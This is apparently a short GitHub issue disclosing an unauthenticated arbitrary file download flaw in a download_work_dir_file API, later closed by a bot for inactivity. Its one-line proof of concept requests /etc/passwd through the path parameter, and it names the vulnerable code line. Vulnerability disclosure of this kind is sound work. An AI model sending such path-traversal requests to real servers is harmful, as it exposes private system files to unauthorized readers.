Arbitrary File Download Vulnerability

[vityuasd]

Description

In versions 0.8.0~0.9.4, unthenticated attackers can exploit the path parameter in the download_work_dir_file API to download arbitrary files from the server.

Environment

• Operating System :windows docker
• Affected Version : 0.8.0~0.9.4

PoC

1. visit http://<host>/download_work_dir_file?path=/etc/passwd

Observe that the brower initiates the download of the specified file.

Screenshots

Vulnerable Code Location:

/python/api/download_work_dir_file.py,
specifically at:

file_path = request.args.get("path", "")

[github-actions]

Closing due to inactivity of 200 days.